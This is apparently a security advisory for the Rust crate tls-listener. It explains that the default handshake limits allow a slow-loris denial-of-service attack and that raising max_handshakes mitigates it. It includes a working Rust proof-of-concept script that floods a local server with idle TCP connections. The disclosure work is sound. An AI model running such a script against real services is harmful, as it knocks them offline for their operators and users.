Summary
With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.
Details
The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.
/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
PoC
Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};
#[tokio::main]
async fn main() {
const N: usize = 1024;
const T: Duration = Duration::from_secs(10);
let url = "127.0.0.1:3000";
let sockets: Vec<_> = url
.to_socket_addrs()
.unwrap()
.inspect(|s| println!("{s:?}"))
.collect();
let mut js = JoinSet::new();
let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
for _ in 0..10000 {
for &socket in &sockets {
int.tick().await;
js.spawn(async move {
let mut stream = TcpStream::connect(socket).await.unwrap();
let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
});
}
}
while js.join_next().await.is_some() {}
}Impact
This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener
Mitigation
Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.
References
conradludgate Reporter
Summary
With the default configuration of tls-listener, a malicious user can open 6.4
TcpStreams a second, sending 0 bytes, and can trigger a DoS.Details
The default configuration options make any public service using
TlsListener::new()vulnerable to a slow-loris DoS attack.PoC
Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.
Impact
This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of
tls-listenerMitigation
Previous versions can mitigate this by passing a large value, such as
usize::MAXas the parameter toBuilder::max_handshakes.References